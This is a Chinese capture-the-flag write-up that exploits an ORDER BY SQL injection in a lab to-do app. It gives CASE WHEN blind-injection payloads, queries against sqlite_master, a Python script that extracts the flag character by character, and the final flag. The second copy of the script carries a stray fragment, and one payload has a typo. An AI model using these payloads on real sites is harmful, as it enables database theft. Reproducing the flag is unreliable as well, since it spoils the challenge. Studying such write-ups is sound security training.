题目
We have this new to-do list application, where we order our tasking based on priority! Is it really all that secure, though...? 我们有了这个新的待办事项应用,可以根据优先级来安排任务!不过,它真的那么牢固吗......?信息收集
依旧nmap扫描
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open rtsp只有俩端口,看80先
先扫一下目录
没东西,看一下页面的功能点和前端以及js源码吧
都没看到有用的信息
添加时间抓包看到一个数据包
POST /new HTTP/1.1 Host: 10.80.147.204 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 63 Origin: http://10.80.147.204 Connection: keep-alive Referer: http://10.80.147.204/?success=Deleted%20item Upgrade-Insecure-Requests: 1 Priority: u=0, i title=123&date=12%2F09%2F202512/09/2025尝试直接用最简单的sqlmap命令注入date失败
尝试使用--level=5加深注入
还是不行
思路
重新审一下题目,在题目中说
可以根据优先级来安排任务!不过,它真的那么牢固吗......在页面中找了一下
果然有一个排序的位置
确认排序为截止时间
参数名称是order
当控制这个参数进行排序的时候
- 访问
/?order=title,任务按字母顺序排序。 - 访问
/?order=date,任务按日期排序。
这恰巧证明了order参数能够直接控制SQL查询的逻辑(即ORDER BY子句的内容)
当在order参数后面加一个单引号,网站报错如下:
页面返回500 Internal Server Error,而正常访问返回200 OK,这通常意味着单引号破坏了SQL语句的语法结构!
如果使用了参数化查询(安全写法),输入单引号通常只会导致找不到该列名,而不会导致整个数据库查询崩溃报500错误。报错即意味着拼接存在。
验证注入点
先新建两三个时间不同的内容,类似下图
可以看到当前是按照由小到大的方式排序
使用参数
/?order=date+DESC这里发现变成由大到小
通过这样的方式成功判断出这里便是注入点!!
分析
脑部一下后端数据库语句
-- 正常情况 SELECT title, date FROM tasks ORDER BY title; -- 攻击情况 (注入点在 ORDER BY 后面) SELECT title, date FROM tasks ORDER BY (这里是你的 Payload);为什么排序改变判断出这里是注入点
从数据的视角来看:如果头部做了安全处理,它可能只允许title或者date这几个固定单词。如果你输入date DESC,头部会认为这是一个不存在的列名,从而不予理睬或报错。
从代码的视角来看: 如果存在缺陷,它可以让你的输入直接拼接到SQL语句中。
当发送/?order=date+DESC时
- 把
date DESC塞进 SQL:SELECT ... ORDER BY date DESC; - 数据库接收到指令,它不只是看到了
date,还看到了指令DESC。 - 页面上的任务顺序出现了从最新的日期排到最旧的日期。
结论:因为页面顺序变了,不仅说明了可控参数,还说明了发送的 SQL 关键字(DESC)被数据库成功解析并执行了。确认这是存在“拼接注入”最简单、干扰最小的方法。
什么是DESC
DESC是降序(降序)的缩写。对应的是ASC(升序,升序)。
- ASC (默认):一致到大排列。数字是 1 到 10,字母是 A 到 Z,日期是从过去到未来。
- DESC:从大到小排列。数字是 10 到 1,字母是 Z 到 A,日期是从未来(最晚)到过去(最早)。
在靶场中,Zebra (1990)并且Apple (2025):
- 执行
ORDER BY date ASC:1990年较小,排在上面。 - 执行
ORDER BY date DESC:2025年增加,排在上面。
还有哪些和DESC类似的验证手段
另外DESC,在ORDER BY注入点还有几种常见的验证技巧,可以用来进一步认知漏洞:
A. 列位置编号(Column Index)
SQL 允许使用数字来代替列名。ORDER BY 1表示按查询结果的第一列排序,ORDER BY 2表示第二列。
- 操作:尝试
/?order=1,/?order=2。 - 意义:如果页面顺序在切换数字时发生变化,说明该位置确实是
ORDER BY子句。如果输入一个极大的数字(如order=999)导致页面报错,则更能确认。
B.随机排序函数(Random Function)
不同的数据库有不同的随机函数。
- SQLite/PostgreSQL:
/?order=random() - MySQL:
/?order=rand() - 验证:每刷新一次页面,任务的顺序都是随机乱跳的。这可以100%确认注入点,并且可以顺便探测出数据库类型。
C. 报错触发(Error-based Trigger)
尝试强制让数据库执行错误的攻击。
- 操作:
/?order=(SELECT+1+UNION+SELECT+2) - 逻辑:在SQLite中,
ORDER BY后面如果跟着一个返回多行数据的子查询,数据库会崩溃。 - 反馈:如果页面返回500错误,说明子查询已执行了。
D.基于条件的排序(Conditional Sorting - 最后使用的方法)
这是最有力的验证,也是写脚本的基础。
- 操作:
/?order=(CASE+WHEN+(1=1)+THEN+title+ELSE+date+END) - 意义:这不仅仅是排序,在把
ORDER BY变成一个逻辑开关。如果1=1(真),它就按标题排序;如果1=2(假),它就按日期排序。这种“根据错误改变顺序”的能力,就是盲注的本质。
判断数据库
mysql使用
随机函数rand()SQLite和 PostgreSQL 数据库
随机函数:random()发现顺序一直在随机改变,判断为数据库SQLite
构造payload
判断第一个字符是否是f
(CASE WHEN (substr((SELECT flag FROM flag LIMIT 1),1,1)='f') THEN date ELSE title END)- 数据源:(SELECT flag FROM flag LIMIT 1)
从名为flag的表中取出第一行数据(即我们要找的Flag字符串)。
- 切片探测:substr(..., 1, 1)
将取出的Flag字符串进行切片,从第1个位置开始,截取长度为1的字符。
- 对比:= 'f'
询问数据库:“这个截取来的字符,是不是小写字母f?”
- 结果产出(评级):
- 如果是“f”$\rightarrow$返回
date(让数据库按日期排列,此时Zebra登顶)。 - 如果不是“f”$\rightarrow$返回
title(让数据库按标题排,此时Apple登顶)。
发现按照时间进行了排序
分析
/?order=(CASE+WHEN+(substr((SELECT+name+FROM+sqlite_master+WHERE+type='table'+AND+name+LIKE+'%25flag%25'+LIMIT+1),1,1)='f')+THENcontent+date+ELSE+title+END什么是CASE WHEN?
CASE WHEN是SQL语言中的逻辑表格表达式,类似于编程语言(如Python、Java或C)中的if-else语句。其基本语法结构如下:
CASE WHEN 条件1 THEN 结果1 ELSE 结果2 END- CASE: 开启逻辑判断。
- WHEN (条件): 后面跟着一个判断题。如果这个条件成立(为真),就执行
THEN后面的部分。 - THEN (结果1): 如果条件为真,整个
CASE表达式的返回值就是“结果1”。 - ELSE (结果2): 如果条件不成立(为假),整个
CASE表达式的返回值就是“结果2”。 - END: 迎来这个逻辑判断块的结束。
什么是 THEN date ELSE title END
在注入场景中,这个语句被拼接在ORDER BY后面。右边的 SQL 语句看起来大概是这样的:SELECT * FROM tasks ORDER BY (CASE WHEN (判断条件) THEN date ELSE title END);
THEN date(条件成立时的行为)
- 意义:如果
substr(...) = 'f'成立(即标志的第一个字母确实是f),数据库就会执行ORDER BY date。 - 页面表现:由于你的Zebra任务日期是
1990-01-01,而Apple的日期是2025-01-01,按照日期升序排列,Zebra会排在最上面。 - 结论:当你看到Zebra跑到了第一行时,你就通过“日期排序”得到了一个信号:条件为真!
B.ELSE title(条件不成立时的行为)
- 意义:如果判断条件不成立(比如你猜第一个字母是'a'),数据库会执行
ORDER BY title。 - 页面表现:按照标题字母顺序排列,Apple (A)会排在Zebra (Z)前面。此时Apple会出现在第一行。
- 结论:当你看到Apple仍然在第一行时,说明排名为标题,即条件为假。
最内层
(CASE+WHEN+(substr((SELECT+flag+FROM+flag+LIMIT+1),1,1)=%27f%27)+THEN+date+ELSE+title+END)sqlite_master:这是SQLite数据库内置的一个系统表,记录了所有表、索引和视图的名称及结构。
type='table':确保我们只找到真实的表,排除索引或其他干扰项。
name LIKE '%flag%':这是一个模糊匹配(URL编码后为%25flag%25)。它的数据库:“我不知道表名的全称,但把名字里带flag的表查找出来。”
LIMIT 1:非常关键。由于substr只能处理一个字符串,如果存在多个表,我们必须强制只返回第一个,否则SQL语法会报错。
逻辑层探测:字符切片与对比
该层负责验证我们找到的表名到底长什么样:substr((...数据层...), 1, 1) = 'f'
substr(string, start, length):字符串切片函数。1, 1表示从第1个位置开始,截取长度为1的字符。= 'f':这是一个逻辑判断。它向数据库提问:“刚才找到了那个名字,它的第一个字母不是f?”- 结果:如果第一个字母是
f,该整串表达式就会返回True(真);否则返回False(假)。
反馈表现层:CASE排序控制
这是最外层的框架,从而抽象的逻辑判断(真/假)转换成肉眼可见的网页变化:ORDER BY (CASE WHEN (条件) THEN date ELSE title END)
CASE WHEN (条件):如果第二层的探测结果为“真”(即表名确实以f地下)。THEN date:最近 SQL 会执行ORDER BY date。因为你的Zebra任务最早(1990 年),所以它会排在最上面。ELSE title:如果探测结果为“假”。则会执行 SQLORDER BY title。此时按字母顺序排列,Apple会排在最上面。END:结束判断逻辑。
这里直接猜表名flag有时会失败(可能叫flags、secret_flag或hidden_data)。通过查询sqlite_master并匹配LIKE '%flag%',就可以百分之百确定该表的真实名称。
并且如果能够成功探测出系统表sqlite_master的内容,说明注入点具有上述的数据库查询权限。
构造脚本
最后,构造python脚本得到flag
import requests # 目标靶场的 URL 地址 url = "http://10.80.147.204/" # 用于存储最终提取出来的 flag 字符串 flag = "" # 定义我们要测试的所有可能字符,包括字母、数字和常见的 flag 符号 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-" print("[+] Starting extraction...") # 外层循环:控制 flag 的字符位置(假设 flag 长度不超过 50 个字符) for i in range(1, 50): found = False # 内层循环:遍历字符集中的每一个字符,测试当前位置是否匹配 for char in charset: # 核心 Payload 构造: # 1. substr((SELECT flag FROM flag LIMIT 1), {i}, 1) = '{char}':截取 flag 的第 i 位并与当前字符比较 # 2. CASE WHEN ... THEN date ELSE title END:如果匹配成功,则按 date 排序;否则按 title 排序 payload = f"(CASE WHEN (substr((SELECT flag FROM flag LIMIT 1),{i},1)='{char}') THEN date ELSE title END)" # 将构造好的 Payload 作为 'order' 参数传递给 GET 请求 params = {'order': payload} try: # 向服务器发送请求 r = requests.get(url, params=params) # 逻辑判断:检查页面中 Zebra 的顺序是否在 Apple 之前 # 如果 Zebra 的索引位置(find)更小,说明它排在第一行,意味着我们的 SQL 条件为“真” if "Zebra" in r.text and r.text.find("Zebra") < r.text.find("Apple"): # 如果条件为真,说明我们找到了当前位置的正确字符 flag += char print(f"[+] Found character {i}: {char} | Current flag: {flag}") found = True # 跳出内层循环,开始探测下一个位置 break except Exception as e: # 捕获请求异常,例如连接超时 print(f"[!] Error: {e}") # 如果遍历完整个字符集都没有找到匹配字符,说明 flag 探测结束 if not found: print(f"\n[+] Extraction finished. Final flag: {flag}") breakimport requests url = "http://10.80.147.204/" flag = "" charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_-" print("[+] Starting extraction...") 符) for i in range(1, 50): found = False for char in charset: # 核心 Payload 构造: # 1. substr((SELECT flag FROM flag LIMIT 1), {i}, 1) = '{char}':截取 flag 的第 i 位并与当前字符比较 # 2. CASE WHEN ... THEN date ELSE title END:如果匹配成功,则按 date 排序;否则按 title 排序 payload = f"(CASE WHEN (substr((SELECT flag FROM flag LIMIT 1),{i},1)='{char}') THEN date ELSE title END)" params = {'order': payload} try: r = requests.get(url, params=params) if "Zebra" in r.text and r.text.find("Zebra") < r.text.find("Apple"): # 如果条件为真,说明我们找到了当前位置的正确字符 flag += char print(f"[+] Found character {i}: {char} | Current flag: {flag}") found = True break except Exception as e: print(f"[!] Error: {e}") if not found: print(f"\n[+] Extraction finished. Final flag: {flag}") break确认标题点:请确保已在靶场中手动创建了两个任务:一个是为Apple的任务(日期较晚),另一个是标题为Zebra的任务(日期为 1990-01-01)。这样的脚本才能通过排序来获取信号。
得到flag
flag{65f2f8cfd53d59422f3d7cc62cc8fdcd}